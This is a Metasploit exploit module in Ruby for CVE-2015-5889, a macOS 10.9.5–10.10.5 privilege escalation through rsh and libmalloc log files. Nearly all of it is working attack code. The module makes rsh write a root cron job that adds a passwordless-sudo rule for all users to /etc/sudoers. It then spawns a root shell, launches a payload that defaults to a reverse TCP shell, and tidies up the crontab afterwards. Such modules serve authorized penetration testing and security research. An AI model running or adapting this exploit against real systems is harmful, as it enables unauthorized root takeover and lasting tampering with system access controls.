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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = NormalRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Post::OSX::System
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',
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      'Description'    => %q{
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        This module writes to the sudoers file without root access by exploiting rsh and malloc log files.
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        Makes sudo require no password, giving access to su even if root is disabled.
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        Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
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      },
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      'Author'         => [
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        'rebel',      # Vulnerability discovery and PoC
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        'shandelman116'  # Copy/paste AND translator monkey
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      ],
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      'References'     => [
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        ['EDB', '38371'],
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        ['CVE', '2015-5889']
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      ],
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      'DisclosureDate' => '2015-10-01',
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      'License'        => MSF_LICENSE,
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      # Want to ensure that this can be used on Python Meterpreter sessions as well
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      'Platform'       => ['osx', 'python'],
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      'Arch'           => [ARCH_X64, ARCH_PYTHON],
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      'SessionTypes'   => ['shell', 'meterpreter'],
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      'Privileged'     => true,
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      'Targets'        => [
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        ['Mac OS X 10.9.5-10.10.5', {}]
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      ],
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      'DefaultTarget'  => 0,
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      'DefaultOptions' => {
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        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp'
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      }
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    ))
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    register_options [
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      OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
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      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
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    ]
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    # Check OS
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    os_check
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    # Check if crontab file existed already so it can be restored at cleanup
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    if file_exist? "/etc/crontab"
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      @crontab_original = read_file("/etc/crontab")
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    else
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      @crontab_original = nil
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    end
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    # Writing payload
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    if payload.arch.include?(ARCH_X64)
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      vprint_status("Writing payload to #{payload_file}.")
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      write_file(payload_file, payload_source)
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      vprint_status("Finished writing payload file.")
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      register_file_for_cleanup(payload_file)
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    elsif payload.arch.include?(ARCH_PYTHON)
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      vprint_status("No need to write payload. Will simply execute after exploit")
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      vprint_status("Payload encodeded is #{payload.encoded}")
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    end
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    # Run exploit
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    sploit
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    # Execute payload
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    print_status('Executing payload...')
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    if payload.arch.include?(ARCH_X64)
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      cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
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    elsif payload.arch.include?(ARCH_PYTHON)
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      cmd_exec("python -c \"#{payload.encoded}\" & disown")
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    end
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    vprint_status("Finished executing payload.")
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  end
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  def os_check
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    # Get sysinfo
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    sysinfo = get_sysinfo
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    # Make sure its OS X (Darwin)
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    unless sysinfo["Kernel"].include? "Darwin"
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      print_warning("The target system does not appear to be running OS X!")
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      print_warning("Kernel information: #{sysinfo['Kernel']}")
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      return
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    end
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    # Make sure its not greater than 10.5 or less than 9.5
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    version = sysinfo["ProductVersion"]
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    minor_version = version[3...version.length].to_f
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    unless minor_version >= 9.5 && minor_version <= 10.5
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      print_warning("The target version of OS X does not appear to be compatible with the exploit!")
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      print_warning("Target is running OS X #{sysinfo['ProductVersion']}")
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    end
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  def sploit
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    user = cmd_exec("whoami").chomp
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    vprint_status("The current effective user is #{user}. Starting the sploit")
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    # Get size of sudoers file
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    sudoer_path = "/etc/sudoers"
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    size = get_stat_size(sudoer_path)
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    # Set up the environment and command for spawning rsh and writing to crontab file
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    rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"
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    rb_cmd = "ruby -e '#{rb_script}'"
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    # Attempt to execute
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    print_status("Attempting to write /etc/crontab...")
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    cmd_exec(rb_cmd)
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    vprint_status("Now to check whether the script worked...")
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    crontab = read_file("/etc/crontab")
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    vprint_status("Reading crontab yielded the following response: #{crontab}")
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    unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
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      vprint_error("Bad news... it did not write to the file.")
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      fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")
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    print_good("Succesfully wrote to crontab file!")
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    new_size = get_stat_size(sudoer_path)
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    print_status("Waiting for sudoers file to change...")
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    begin
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      Timeout.timeout(datastore['WaitTime']) {
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        while new_size <= size
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          new_size = get_stat_size(sudoer_path)
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      fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
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    print_good("Sudoers file has changed!")
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    print_status("Attempting to start root shell...")
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    cmd_exec("sudo -s su")
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    user = cmd_exec("whoami")
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    unless user.include? "root"
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      fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
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    print_good("Success! Acquired root access!")
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  def get_stat_size(file_path)
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    cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"
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    response = cmd_exec(cmd)
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    vprint_status("Response to stat size query is #{response}")
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      return size
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      fail_with(Failure::UnexpectedReply, "Could not get stat size!")
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    end
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  def payload_source
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    if payload.arch.include?(ARCH_X64)
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      return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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      return payload.encoded
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  def payload_file
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    @payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
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  def cleanup
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    vprint_status("Starting the cron restore process...")
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    super
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    # Restore crontab back to is original state
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    # If we don't do this, then cron will continue to append the no password rule to sudoers.
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      # Erase crontab file and kill cron process since it did not exist before
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      vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
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      rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
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      if rm_ret.chomp.to_i == 0
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        vprint_good("Successfully removed crontab file!")
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        print_warning("Could not remove crontab file.")
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        vprint_good("Succesfully killed cron!")
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        print_warning("Could not kill cron process.")
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      vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
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      cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
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    vprint_status("Finished the cleanup process.")
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  end
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end
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